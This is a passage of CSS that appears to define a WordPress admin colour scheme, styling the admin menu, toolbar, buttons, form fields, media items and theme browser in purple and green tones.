.wp-ui-text-primary{color:#523f6d}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#a3b745}.wp-core-ui .wp-ui-text-highlight{color:#a3b745}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#d46f15}.wp-core-ui .wp-ui-text-notification{color:#d46f15}.wp-core-ui .wp-ui-text-icon{color:#ece6f6}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #a3b745;color:#a3b745}.wrap .page-title-action:hover{color:#829237;border-color:#829237}.wrap .page-title-action:focus{border-color:#b6c669;color:#616d29;box-shadow:0 0 0 1px #b6c669}.view-switch a.current:before{color:#523f6d}.view-switch a:hover:before{color:#d46f15}#adminmenu,#adminmenuback,#adminmenuwrap{background:#523f6d}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#ece6f6}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#a3b745}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#413256}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#413256}#adminmenu .wp-submenu .wp-submenu-head{color:#cbc5d3}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#cbc5d3}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#a3b745}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#a3b745}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#a3b745}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#d46f15}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#413256}#collapse-button{color:#ece6f6}#collapse-button:focus,#collapse-button:hover{color:#a3b745}#wpadminbar{color:#fff;background:#523f6d}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#ece6f6}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#a3b745;background:#413256}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#a3b745}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#a3b745}#wpadminbar .menupop .ab-sub-wrapper{background:#413256}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#64537c}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cbc5d3}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#ece6f6}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#a3b745}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#a3b745}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#ece6f6}#wpadminbar #adminbarsearch:before{color:#ece6f6}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#634c84}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d46f15}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#bf6413}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#634c84;background-color:#634c84}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#a3b745}#wpadminbar #wp-admin-bar-user-info .username{color:#cbc5d3}.wp-pointer .wp-pointer-content h3{background-color:#a3b745;border-color:#93a43e}.wp-pointer .wp-pointer-content h3:before{color:#a3b745}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#a3b745}.media-item .bar,.media-progress-bar div{background-color:#a3b745}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #a3b745}.attachment.details .check{background-color:#a3b745;box-shadow:0 0 0 1px #fff,0 0 0 2px #a3b745}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#a3b745}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#a3b745}.theme-filter.current,.theme-section.current{border-bottom-color:#523f6d}body.more-filters-opened .more-filters{color:#fff;background-color:#523f6d}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#a3b745;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#a3b745;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}div#wp-responsive-toggle a:before{color:#ece6f6}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#a3b745}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#413256}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#ece6f6}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#a3b745}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#a3b745}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#a3b745}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#a3b745}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#a3b745;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#a3b745}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#a3b745;border-style:solid;box-shadow:0 0 0 1px #a3b745;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#a3b745}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #b6c669,0 0 2px 1px #a3b745}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#a3b745;color:#0073aa}/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%23523f6d%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #523f6d;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #a3b745;
  box-shadow: 0 0 0 1px #a3b745;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #a3b745;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #a3b745;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button,
.wp-core-ui .button-secondary {
  color: #a3b745;
  border-color: #a3b745;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover {
  border-color: #829237;
  color: #829237;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
  border-color: #b6c669;
  color: #616d29;
  box-shadow: 0 0 0 1px #b6c669;
}
.wp-core-ui .button-primary:hover {
  color: #fff;
}
.wp-core-ui .button-primary {
  background: #a3b745;
  border-color: #a3b745;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #a9bd4f;
  border-color: #99ac41;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745;
}
.wp-core-ui .button-primary:active {
  background: #93a43e;
  border-color: #93a43e;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #a3b745;
  color: #fff;
  border-color: #727f30;
  box-shadow: inset 0 2px 5px -3px black;
}
.wp-core-ui .button-group > .button.active {
  border-color: #a3b745;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #523f6d;
}
.wp-core-ui .wp-ui-text-primary {
  color: #523f6d;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #a3b745;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #a3b745;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #d46f15;
}
.wp-core-ui .wp-ui-text-notification {
  color: #d46f15;
}
.wp-core-ui .wp-ui-text-icon {
  color: #ece6f6;
}

/* List tables */
.wrap .page-title-action,
.wrap .page-title-action:active {
  border: 1px solid #a3b745;
  color: #a3b745;
}

.wrap .page-title-action:hover {
  color: #829237;
  border-color: #829237;
}

.wrap .page-title-action:focus {
  border-color: #b6c669;
  color: #616d29;
  box-shadow: 0 0 0 1px #b6c669;
}

.view-switch a.current:before {
  color: #523f6d;
}

.view-switch a:hover:before {
  color: #d46f15;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #523f6d;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #ece6f6;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #a3b745;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #413256;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #413256;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cbc5d3;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cbc5d3;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #a3b745;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #a3b745;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #a3b745;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #d46f15;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #413256;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #ece6f6;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #a3b745;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #523f6d;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #ece6f6;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #a3b745;
  background: #413256;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #a3b745;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #a3b745;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #413256;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #64537c;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cbc5d3;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #ece6f6;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #a3b745;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #a3b745;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #ece6f6;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #ece6f6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #634c84;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #d46f15;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #bf6413;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #634c84;
  background-color: #634c84;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #a3b745;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cbc5d3;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #a3b745;
  border-color: #93a43e;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #a3b745;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #a3b745;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #a3b745;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #a3b745;
}

.attachment.details .check {
  background-color: #a3b745;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #a3b745;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #a3b745;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #a3b745;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #a3b745;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #523f6d;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #523f6d;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #a3b745;
  color: #fff;
}

